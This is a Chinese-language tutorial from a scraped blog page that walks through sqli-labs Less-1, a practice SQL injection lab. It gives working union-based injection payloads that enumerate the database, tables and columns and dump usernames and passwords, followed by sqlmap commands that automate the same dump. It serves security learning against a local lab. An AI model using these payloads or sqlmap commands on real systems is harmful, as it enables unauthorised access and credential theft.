当前位置: 首页 > news >正文

sqli-labs:Less-1关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符型(单引号包裹)
  • 提示:参数id需以'闭合

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-1/,只需要将下面的sql语句粘贴即可。

2.1 正常请求⚡

?id=1

!https://via.placeholder.com/600x300?text=3.1+正常请求截图

说明:测试回显情况


2.2 判断字段数⚡

?id=1' order by 4 --+
  • ':闭合前引号
  • order by 4:探测字段数(报错说明字段数=3)
  • --+:注释后续语句
2.2.1 原始 SQL 语句(正常情况)

如果输入 id=1,PHP 代码会构造:

SELECT * FROM users WHERE id='1' LIMIT 0,1
  • '1' 是合法的字符串,SQL 语句正常执行。
2.2.2 改变后SQL语句(异常情况)

你的输入 id=1' order by 4 --+,PHP 代码拼接后:

SELECT * FROM users WHERE id='1' order by 4 --+' LIMIT 0,1
  • '1' → 原 SQL 的字符串部分
  • '(你额外添加的单引号)→ 闭合字符串,使 id='1' 变成 id='1' '(语法错误)
  • order by 4 → 注入的 SQL 代码
  • --+ → SQL 注释符,注释掉后面的 ' LIMIT 0,1,避免语法错误
2.2.3 最终执行的 SQL

由于 --+ 注释了后面的内容,实际执行的是:

SELECT * FROM users WHERE id='1' order by 4
  • ' 的作用:提前闭合 id='...' 的字符串,使后面的 order by 4 成为 SQL 语句的一部分,而不是字符串的一部分。

!https://via.placeholder.com/600x300?text=3.2+order+by截图


2.3 确定回显位⚡

?id=-1' union select 1,2,3 --+
  • -1:使前查询无结果
  • union select:联合查询回显位
2.3.1 为什么常用id=-1 与 union select 搭配?⭐

是因为union select要求​​前一个查询返回空​​,才能显示我们注入的数据:

SELECT * FROM users WHERE id = '-1' UNION SELECT 1,2,3--+

id=-1​​不存在​​ → 前查询返回空 → union select的数据直接显示。
id=1​​存在​​ → 前查询返回数据 → union select的数据被忽略​​(只显示 id=1的结果)。

2.3.2 为什么回显的位置在第二列和第三列⭐

这是因为 页面的 PHP 代码只显示了 usernamepassword 字段,而 union select 的结果必须和原查询的列数匹配,所以 23 对应的是页面回显的位置。
查看 PHP 代码:

echo 'Your Login name:'. $row['username'];  // 第2列
echo 'Your Password:' .$row['password'];    // 第3列
  • $row['username'] → 对应 UNION SELECT 的第 2 个字段(2)。
  • $row['password'] → 对应 UNION SELECT 的第 3 个字段(3)。
  • $row['id'](第1列)没有被显示,所以 1 不会出现在页面上。

!https://via.placeholder.com/600x300?text=3.3+union+select截图
在这里插入图片描述


2.4 获取基础信息⚡

?id=-1' union select 1,database(),user() --+
  • database():当前数据库名
  • user():当前用户

!https://via.placeholder.com/600x300?text=3.4+基础信息截图


2.5 获取表名⚡

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
  • group_concat():合并多行结果
  • information_schema:系统数据库
  • information_schema.tables:系统表
  • table_schema:数据库名称
  • table_name:数据表名称

!https://via.placeholder.com/600x300?text=3.6+表名截图


2.6 获取字段⚡

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
  • information_schema.columns:系统列(字段)
  • column_name:字段名称

!https://via.placeholder.com/600x300?text=3.7+列名截图


2.7 获取数据⚡

?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

或者

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

!https://via.placeholder.com/600x300?text=3.8+数据截图


2.8 参数汇总表⭐

参数作用示例
'闭合引号id=1'
order by判断字段数order by 4
--+注释符--+
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-1/?id=1

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-1/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截图:
!https://via.placeholder.com/600x300?text=SQLMap截图
命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

  1. 注入类型:字符型单引号闭合
  2. 核心步骤:判字段→找回显→爆库→爆表→爆数据
  3. 工具对比:手工注入适合学习原理,SQLMap适合快速验证

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.lryc.cn/news/604784.html

相关文章:

  • CMS框架漏洞
  • 3D Web轻量化引擎HOOPS Communicator数据处理与流式加载能力概述
  • 【音视频】WebRTC-Web 音视频采集与播放
  • 【预判一手面试问题:排序】
  • 依托客户满意度分析协助企业精准把握市场趋势​(满意度调查)
  • 智能AI医疗物资/耗材管理系统升级改造方案分析
  • InfluxDB 与 Java 框架集成:Spring Boot 实战(二)
  • VSCode插件开发完整教程:从零开始创建文件导出插件
  • Python 程序设计讲义(37):字符串的处理方法——设置字符串居中显示:center() 方法
  • 图像平滑处理
  • 9.项目起步(3)
  • OpenCV学习day1
  • 实习小记(个人中心的编辑模块)
  • 商标注册后可以随意更改字体和颜色吗!
  • 怎么理解锁相环主时钟(PLL)怎么做到对时钟进行倍频?
  • Keil STM32工程各文件作用
  • AI框架工具FastRTC快速上手2——整体框架及Stream类详解
  • 方块世界:失落文明的遗产
  • Deforum Stable Diffusion,轻松实现AI视频生成自由!
  • 语音识别dolphin 学习笔记
  • UE5多人MOBA+GAS 番外篇:将冷却缩减属性应用到技能冷却中
  • 设计模式十四:适配器模式(Adapter Pattern)
  • Linux ps -ef 命令解析
  • 基于成像空间转录组技术的肿瘤亚克隆CNV原位推断方法
  • composer 常用命令
  • 智慧城市SaaS平台|市政公用管理系统
  • 从单机到分布式:Redis如何成为架构升级的胜负手
  • 串口接收数据包(协议带帧头帧尾)的编程实现方法:1、数据包格式定义结构体2、使用队列进行数据接收、校验解包
  • 三十二、【Linux网站服务器】搭建httpd服务器演示虚拟主机配置、网页重定向功能
  • uni-app webview 的message无法触发的解决方案